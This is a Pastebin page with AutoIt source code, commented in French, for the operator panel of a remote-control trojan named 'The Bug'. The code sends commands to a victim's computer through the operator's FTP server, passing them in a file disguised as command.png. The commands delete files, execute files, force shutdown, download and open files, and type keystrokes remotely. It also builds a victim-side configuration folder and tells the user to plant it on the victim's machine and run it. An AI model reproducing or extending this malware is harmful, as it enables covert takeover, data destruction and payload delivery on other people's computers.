Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;AutoIt: Les variables sont précédées d'un $
- ;Les commentaires sont définis par ;
- ;La variable @error est utilisée par toutes les fonctions pour stocker des codes d'erreurs
- ;Les tableaux se déclarent ainsi: Dim $variable[#index]
- ;"!=" s'écrit "<>"
- ;On connecte les chaînes de caractères avec le symbole &. "chaîne " & "de " & "caractère."
- ;@CRLF == retour à la ligne
- #include <ButtonConstants.au3>
- #include <EditConstants.au3>
- #include <GUIConstantsEx.au3>
- #include <StaticConstants.au3>
- #include <WindowsConstants.au3>
- #Include <FTPEx.au3>
- #Include <GDIPlus.au3>
- #Include <String.au3>
- ;Prototypes de variables
- $FTP_Connected = False
- $Con1Session = ""
- $FDir = @ScriptDir&"\command.dbh"
- $Con1SId = ""
- Global $Radio[6]
- $TheRadioChecked = 0
- $RadioT = 0
- $softwareName = "The Bug"
- AdlibRegister("WifiBarsUpdate", 1000)
- ;GUI principal
- #Region ### START Koda GUI section ### Form=
- $Form1 = GUICreate($softwareName, 625, 445, 192, 124)
- $Group1 = GUICtrlCreateGroup("Manipulation de fichiers", 16, 168, 273, 153)
- $Input1 = GUICtrlCreateInput("Chemin", 24, 192, 257, 21)
- $Button1 = GUICtrlCreateButton("Supprimer", 24, 216, 73, 25, 0)
- $Button2 = GUICtrlCreateButton("Executer", 104, 216, 73, 25, 0)
- $Label1 = GUICtrlCreateLabel("Note : Si un dossier est sélectionné, il ne sera pas "&@CRLF&"supprimé. Seul son contenu le sera.", 24, 248, 250, 48)
- GUICtrlCreateGroup("", -99, -99, 1, 1)
- $Group2 = GUICtrlCreateGroup("Allimentation", 296, 168, 153, 153)
- $Button3 = GUICtrlCreateButton("Executer", 304, 288, 137, 25, 0)
- $Radio[0] = GUICtrlCreateRadio("Fermer la session", 304, 192, 113, 17, $WS_TABSTOP)
- $Radio[1] = GUICtrlCreateRadio("Redémarrer", 304, 208, 113, 17)
- $Radio[2] = GUICtrlCreateRadio("Arrêt propre", 304, 224, 113, 17)
- $Radio[3] = GUICtrlCreateRadio("Couper allimentation", 304, 240, 113, 17)
- $Radio[4] = GUICtrlCreateRadio("Mettre en hibernation", 304, 256, 140, 17)
- GUICtrlCreateGroup("", -99, -99, 1, 1)
- $Pic1 = GUICtrlCreatePic(@ScriptDir&"\Logo.jpg", 625/2-600/2, 8, 600, 140)
- $Group3 = GUICtrlCreateGroup("Screensaver", 456, 168, 153, 153)
- $Label2 = GUICtrlCreateLabel("A venir", 512, 232, 37, 17)
- $Group4 = GUICtrlCreateGroup("Téléchargement", 16, 328, 273, 105)
- $Input2 = GUICtrlCreateInput("Adresse web de téléchargement (Directe)", 24, 352, 257, 21)
- $Input3 = GUICtrlCreateInput("Dossier où sera envoyé le fichier téléchargé", 24, 376, 233, 21)
- $Checkbox2 = GUICtrlCreateCheckbox("", 264, 378, 17, 17)
- $Button4 = GUICtrlCreateButton("Télécharger", 24, 400, 73, 25, 0)
- $Checkbox1 = GUICtrlCreateCheckbox("Ouvrir quand téléchargé", 110, 403, 137, 17)
- GUICtrlCreateGroup("", -99, -99, 1, 1)
- GUICtrlSetState($Checkbox2, $GUI_CHECKED)
- $Group5 = GUICtrlCreateGroup("Prise de contrôle clavier", 296, 328, 313, 105)
- $Edit1 = GUICtrlCreateEdit("", 304, 344, 297, 41)
- $Button5 = GUICtrlCreateButton("Faire écrire", 304, 400, 81, 25, 0)
- GUICtrlCreateGroup("", -99, -99, 1, 1)
- GUISetState(@SW_HIDE)
- #EndRegion ### END Koda GUI section ###
- ;GUI Ecran de connexion
- If FileExists(@ScriptDir&"\envoyeur.ini") Then ;Lire l'ini et mettre les bonnes infos
- $DVIP = IniRead(@ScriptDir&"\A mettre chez la victime\receiver.ini", "FTP", "URL", "http://monsite.com/dossier")
- If $DVIP <> "http://monsite.com/dossier" Then $DVIP = _StringEncrypt(0, $DVIP, "Stallman", 1)
- $DIP=IniRead(@ScriptDir&"\envoyeur.ini", "Connecting", "Ip", "255.255.255.255")
- $DUser=IniRead(@ScriptDir&"\envoyeur.ini", "Connecting", "User", "")
- $Dpass=IniRead(@ScriptDir&"\envoyeur.ini", "Connecting", "Pass", "Password")
- If $Dpass <> "" Then $Dpass = _StringEncrypt(0, $Dpass, "Stallman", 1)
- $Dport=IniRead(@ScriptDir&"\envoyeur.ini", "Connecting", "Port", "21")
- Else ;Mettre tout a défaut
- MsgBox(16, $softwareName&" Error", "Le fichier envoyeur.ini est introuvable")
- $DIP = "255.255.255.255"
- $Dpass = "Password"
- $Dport = "21"
- $DUser = ""
- EndIf
- $Form2 = GUICreate($softwareName&": Ecran de connexion", 314, 186, 252, 325)
- $fInput1 = GUICtrlCreateInput($DIP, 96, 8, 193, 21)
- $fLabel1 = GUICtrlCreateLabel("Ftp libre:", 8, 8, 84, 17)
- $fInput2 = GUICtrlCreateInput($DUser, 96, 32, 193, 21)
- $fLabel2 = GUICtrlCreateLabel("Nom d'utilisateur:", 8, 32, 84, 17)
- $fInput3 = GUICtrlCreateInput($Dpass, 96, 56, 193, 21, BitOR($ES_PASSWORD,$ES_AUTOHSCROLL))
- $fLabel3 = GUICtrlCreateLabel("Mot de passe:", 8, 56, 84, 17)
- $fLabel4 = GUICtrlCreateLabel("Port:", 8, 80, 84, 17)
- $fInput4 = GUICtrlCreateInput($Dport, 96, 80, 193, 21)
- $gLabel1 = GUICtrlCreateLabel("Page victime:", 8, 104, 84, 17)
- $gInput = GUICtrlCreateInput($DVIP, 96, 104, 193, 21)
- $gButton1 = GUICtrlCreateButton("?", 290, 104, 22, 22)
- $fButton1 = GUICtrlCreateButton("Connecter", 208, 132, 81, 25, 0)
- $fButton2 = GUICtrlCreateButton("Par défaut", 8, 132, 81, 25, 0)
- HotKeySet("+k", "Tempfunc")
- GUISetState(@SW_SHOW)
- ;Début des interractions GUI
- While 1
- $nMsg = GUIGetMsg()
- Switch $nMsg
- Case $GUI_EVENT_CLOSE
- If $FTP_Connected = True Then
- _FTP_Close($Con1Session)
- EndIf
- Exit
- ;_SendCommand envoie une commande au receveur, syntaxe: _SendCommand(Commande à envoyer, Paramètre de la commande si aucun mettre bool False)
- Case $Button1 ;Destruction: Supprimer
- $Command1 = GUICtrlRead($Input1)
- _SendCommand("DSuppr", $Command1)
- Case $Button2 ;Destruction: Executer
- $Command1 = GUICtrlRead($Input1)
- _SendCommand("DExec", $Command1)
- Case $Button3 ;Allimentation: Executer
- While 1
- $TheRadioChecked = GUICtrlRead($Radio[$RadioT])
- If $TheRadioChecked = $GUI_CHECKED Then
- ExitLoop
- ElseIf $RadioT >= 5 Then
- $RadioT = 50 ;Valeur random, pas d'idées
- MsgBox(64, $softwareName, "Vous devez cocher au moins un bouton radio")
- ExitLoop
- EndIf
- $RadioT = $RadioT + 1
- WEnd
- Switch $RadioT
- Case 0
- $TheRadioChecked = 0
- Case 1
- $TheRadioChecked = 2
- Case 2
- $TheRadioChecked = 1
- Case 3
- $TheRadioChecked = 8
- Case 4
- $TheRadioChecked = 64
- Case 50
- $TheRadioChecked = 50 ;Si il a coché aucune radio
- Case Else
- MsgBox(16, $softwareName&" Error", $softwareName&" n'a pas réussi à déterminer quelle action vous faire effectuer à la gestion de l'allimentation de l'ordinateur distant")
- EndSwitch
- $RadioT = 0
- If $TheRadioChecked = 50 Then
- MsgBox(0, "", "")
- Else
- _SendCommand("AShutdown", $TheRadioChecked)
- EndIf
- Case $Button4 ;Telechargement: Telecharger
- ;Input2 = URL
- ;Input3 = Dossier
- ;Checkbox2 = Dossier spécifique?
- ;Checkbox1 = Ouvrir quand téléchargé?
- $Command1 = GUICtrlRead($Input2)
- If GUICtrlRead($Checkbox2) = $GUI_CHECKED Then ;Si enregistrer dans dossier spécifique
- $Command2 = GUICtrlRead($Input3)
- Else
- $Command2 = ""
- EndIf
- If GUICtrlRead($Checkbox1) = $GUI_CHECKED Then ;Si ouvrir quand téléchargé
- $Command3 = 1
- Else
- $Command3 = 0
- EndIf
- _SendCommand("TDownload", $Command1, $Command2, $Command3)
- Case $Checkbox2
- If GUICtrlRead($Checkbox2) = $GUI_CHECKED Then
- GUICtrlSetState($Input3, $GUI_ENABLE)
- GUICtrlSetData($Input3, "Répertoire de téléchargement")
- Else
- GUICtrlSetState($Input3, $GUI_DISABLE)
- GUICtrlSetData($Input3, "Sera envoyé dans le dossier de l'application")
- EndIf
- Case $Button5 ;Fantôme: Faire écrire
- $Command1 = GUICtrlRead($Edit1)
- _SendCommand("FEdit", $Command1)
- Case $fButton1 ;F2: Connecter
- $Con1Ip = GUICtrlRead($fInput1) ;Module de vérification de "/" dans l'ip, informe si l'user veut use un dossier pour le logiciel
- $Slashpos = StringInStr($Con1Ip, "/")
- $AfterSlash = StringMid($Con1Ip, $Slashpos + 1)
- If $Slashpos <> 0 Then
- $Con1Ip = StringMid($Con1Ip, 1, $Slashpos - 1)
- ConsoleWrite("Ip : "&$Con1Ip&@CRLF&"Folder : "&$AfterSlash)
- EndIf
- $Con1User = GUICtrlRead($fInput2)
- $Con1Pass = GUICtrlRead($fInput3)
- $Con1Port = GUICtrlRead($fInput4)
- GUISetState(@SW_HIDE, $Form2)
- GUISetState(@SW_SHOW, $Form1)
- ToolTip("La fenêtre peut se bloquer le temps de la connexion", 208, 112, $softwareName, 1)
- WifiBarsUpdate()
- $Con1Session = _FTP_Open("con1")
- $Con1SId = _FTP_Connect($Con1Session, $Con1Ip, $Con1User, $Con1Pass, 0, $Con1Port)
- ToolTip("")
- If $Con1SId = 0 Then
- MsgBox(16, $softwareName&" Error", "Connexion ratée."&@CRLF&"Erreur : "&@error)
- Else
- $FTP_Connected = True
- If $Slashpos = 0 Then ;Si il n'a pas utilisé un dossier
- IniWrite(@ScriptDir&"\envoyeur.ini", "Connecting", "Ip", $Con1Ip)
- Else
- IniWrite(@ScriptDir&"\envoyeur.ini", "Connecting", "Ip", $Con1Ip&"/"&$AfterSlash)
- EndIf
- IniWrite(@ScriptDir&"\envoyeur.ini", "Connecting", "User", $Con1User)
- $Con1Pass = _StringEncrypt(1, $Con1Pass, "Stallman", 1)
- IniWrite(@ScriptDir&"\envoyeur.ini", "Connecting", "Pass", $Con1Pass)
- IniWrite(@ScriptDir&"\envoyeur.ini", "Connecting", "Port", $Con1Port)
- ;Création du dossier "A mettre chez la victime" et du ini victime
- FileDelete(@ScriptDir&"\A mettre chez la victime\receiver.ini")
- $FtpVictimUrl = GUICtrlRead($gInput)
- FileWriteLine(@ScriptDir&"\A mettre chez la victime\receiver.ini", "[FTP]")
- FileWriteLine(@ScriptDir&"\A mettre chez la victime\receiver.ini", 'URL="'&_StringEncrypt(1, $FtpVictimUrl, "Stallman", 1)&'"')
- MsgBox(64, $softwareName, "Le malware est configuré ! Placez l'intégralité du contenu du dossier "&'"A mettre chez la victime"'&" n'importe où sur l'ordinateur de votre victime, puis lancez l'executable qui s'y trouve une seule fois (Ne vous inquiétez pas si rien ne se passe, il a bien fonctionné). Appuyez sur OK pour entrer dans le panneau de contrôle")
- EndIf
- Case $fButton2 ;F2: Par défaut
- GUICtrlSetData($fInput4, "21")
- GUICtrlSetData($fInput1, "255.255.255.255")
- GUICtrlSetData($fInput2, "")
- GUICtrlSetData($fInput3, "Password")
- GUICtrlSetData($gInput, "http://monsite.com/dossier")
- Case $gButton1 ;F3: Aide
- MsgBox(64, "Aide", "Pour communiquer avec l'ordinateur contrôlé, vous devez établir une relation entre vous et lui afin qu'il puisse entendre vos ordres. Pour cela nous utilisons un FTP vous appartenant, vous avez indiqué son adresse dans le champs 'FTP' plus haut, ici vous devez convertir l'url en http."&@CRLF&@CRLF&"Si vous avez entré 'ftp.monsite.com/dossier', vous devrez entrer 'http://monsite.com/dossier"&@CRLF&"ATTENTION : Veillez à ne pas mettre de '/' à la fin de l'URL")
- EndSwitch
- WEnd
- Func Tempfunc()
- GUISetState(@SW_HIDE, $Form2)
- GUISetState(@SW_SHOW, $Form1)
- EndFunc
- ;_SendCommand envoie une commande au receveur, syntaxe: _SendCommand(Commande à envoyer, Paramètre de la commande si aucun mettre bool False)
- Func _SendCommand($Fcom, $Fparam = "", $Fparam2 = "", $Fparam3 = "")
- $FHandle = FileOpen($FDir, 2)
- FileWrite($FHandle, $Fcom&"°"&$Fparam&"°"&$Fparam2&"°"&$Fparam3)
- FileClose($FHandle)
- If $Slashpos <> 0 Then ;Si l'utilisateur veut utiliser un dossier
- $Command1 = _FTP_FilePut($Con1SId, $FDir, $AfterSlash&"/command.png")
- If $Command1 <> 1 Then
- Local $ftpReturn, $ftpError, $ftpMessage
- $ftpReturn = _FTP_GetLastResponseInfo($ftpError, $ftpMessage)
- MsgBox(16, $softwareName&" Error", 'Le fichier "'&$FDir&'"'&" n'a pas pu être uploadé dans le dossier "&"/"&$AfterSlash&"/command.png,"&@CRLF&"Erreur : "&$ftpMessage)
- EndIf
- Else
- $Command1 = _FTP_FilePut($Con1SId, $FDir, "command.png")
- If $Command1 <> 1 Then
- Local $ftpReturn, $ftpError, $ftpMessage
- $ftpReturn = _FTP_GetLastResponseInfo($ftpError, $ftpMessage)
- MsgBox(16, $softwareName&" Error", 'Le fichier "'&$FDir&'"'&" n'a pas pu être uploadé dans le dossier /command.png,"&@CRLF&"Erreur : "&$ftpMessage)
- EndIf
- EndIf
- EndFunc
- ;Ca sert juste à updater les barres wifi du GUI
- Func WifiBarsUpdate()
- If $FTP_Connected = True Then
- PngGuiCreatePic(@ScriptDir&"\Connected.png", 625-29, 445-21, 1, "")
- ElseIf NOT $Con1Session = 0 Then
- PngGuiCreatePic(@ScriptDir&"\Open.png", 625-29, 445-21, 1, "")
- Else
- PngGuiCreatePic(@ScriptDir&"\Closed.png", 625-29, 445-21, 1, "")
- EndIf
- EndFunc
- Func PngGuiCreatePic($src, $x, $y, $scale = 1, $alt = "")
- Local $gdi_state = $ghGDIPDll
- If $ghGDIPDll = 0 Then _GDIPlus_Startup()
- $hImage2 = _GDIPlus_ImageLoadFromFile($src)
- $ImageHeight = (_GDIPlus_ImageGetHeight($hImage2)) * $scale
- $ImageWidth = (_GDIPlus_ImageGetWidth($hImage2)) * $scale
- If $scale <> 1 Then
- $hBitmap = _WinAPI_CreateBitmap($ImageWidth, $ImageHeight, 1, 32)
- $hImage1 = _GDIPlus_BitmapCreateFromHBITMAP($hBitmap)
- $hgraphic = _GDIPlus_ImageGetGraphicsContext($hImage1)
- _GDIPlus_GraphicsDrawImageRect($hgraphic, $hImage2, 0, 0, $ImageWidth, $ImageHeight)
- $hBitmap2 = _GDIPlus_BitmapCreateHBITMAPFromBitmap($hImage1)
- _WinAPI_DeleteObject($hBitmap)
- _GDIPlus_ImageDispose($hImage1)
- _GDIPlus_GraphicsDispose($hgraphic)
- Else
- Local _
- $hBitmap = _GDIPlus_BitmapCreateFromFile($src), _
- $hBitmap2 = _GDIPlus_BitmapCreateHBITMAPFromBitmap($hBitmap)
- _GDIPlus_BitmapDispose($hBitmap)
- EndIf
- $pic = GUICtrlCreatePic("", $x, $y, $ImageWidth, $ImageHeight)
- If $alt <> "" Then GUICtrlSetTip($pic, $alt)
- GUICtrlSendMsg($pic, 0x0172, 0, $hBitmap2)
- If $gdi_state = 0 Then _GDIPlus_Shutdown()
- Return $pic
- EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement